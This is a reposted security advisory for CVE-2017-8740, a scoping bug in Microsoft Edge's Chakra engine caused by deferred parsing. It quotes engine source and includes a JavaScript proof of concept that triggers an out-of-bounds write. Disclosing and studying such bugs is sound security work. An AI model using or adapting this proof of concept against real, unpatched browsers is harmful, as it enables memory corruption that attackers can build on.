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Microsoft Edge Charka Wrong Scopes In Deferred Parsing

Posted on 24 September 2017

Microsoft Edge: Chakra: Deferred parsing makes wrong scopes

CVE-2017-8740

(function f(a = (function () {
print(a);
with ({});
})()) {
function g() {
f;
}
})();

When Chakra executes the above code, it doesn't generate bytecode for "g". This is a feature called "DeferParse". The problem is that the bytecode generated for "f" when the feature is enabled is different to the bytecode generated when the feature is disabled. This is because of "ByteCodeGenerator::ProcessScopeWithCapturedSym" which changes the function expression scope's type is not called when the feature is enabled.

Here's a snippet of the method which emits an incorrect opcode.
void ByteCodeGenerator::LoadAllConstants(FuncInfo *funcInfo)
{
...
if (funcExprWithName)
{
if (funcInfo->GetFuncExprNameReference() ||
(funcInfo->funcExprScope && funcInfo->funcExprScope->GetIsObject()))
{
...
Js::RegSlot ldFuncExprDst = sym->GetLocation();
this->m_writer.Reg1(Js::OpCode::LdFuncExpr, ldFuncExprDst);

if (sym->IsInSlot(funcInfo))
{
Js::RegSlot scopeLocation;
AnalysisAssert(funcInfo->funcExprScope);

if (funcInfo->funcExprScope->GetIsObject())
{
scopeLocation = funcInfo->funcExprScope->GetLocation();
this->m_writer.Property(Js::OpCode::StFuncExpr, sym->GetLocation(), scopeLocation,
funcInfo->FindOrAddReferencedPropertyId(sym->GetPosition()));
}
else if (funcInfo->bodyScope->GetIsObject())
{
this->m_writer.ElementU(Js::OpCode::StLocalFuncExpr, sym->GetLocation(),
funcInfo->FindOrAddReferencedPropertyId(sym->GetPosition()));
}
else
{
Assert(sym->HasScopeSlot());
this->m_writer.SlotI1(Js::OpCode::StLocalSlot, sym->GetLocation(),
sym->GetScopeSlot() + Js::ScopeSlots::FirstSlotIndex);
}
}
...
}
}
...
}

As you can see, it only handles "funcExprScope->GetIsObject()" or "bodyScope->GetIsObject()" but not "paramScope->GetIsObject()".
Without the feature, there's no case that only "paramScope->GetIsObject()" returns true because "ByteCodeGenerator::ProcessScopeWithCapturedSym" for "f" is always called and makes "funcInfo->funcExprScope->GetIsObject()" return true.
But with the feature, the method is not called. So it ends up emitting an incorrect opcode "Js::OpCode::StLocalSlot".

The feature is enabled in Edge by default.

PoC:
let h = function f(a0 = (function () {
a0;
a1;
a2;
a3;
a4;
a5;
a6;
a7 = 0x99999; // oob write

with ({});
})(), a1, a2, a3, a4, a5, a6, a7) {
function g() {
f;
}
};

for (let i = 0; i < 0x10000; i++) {
h();
}

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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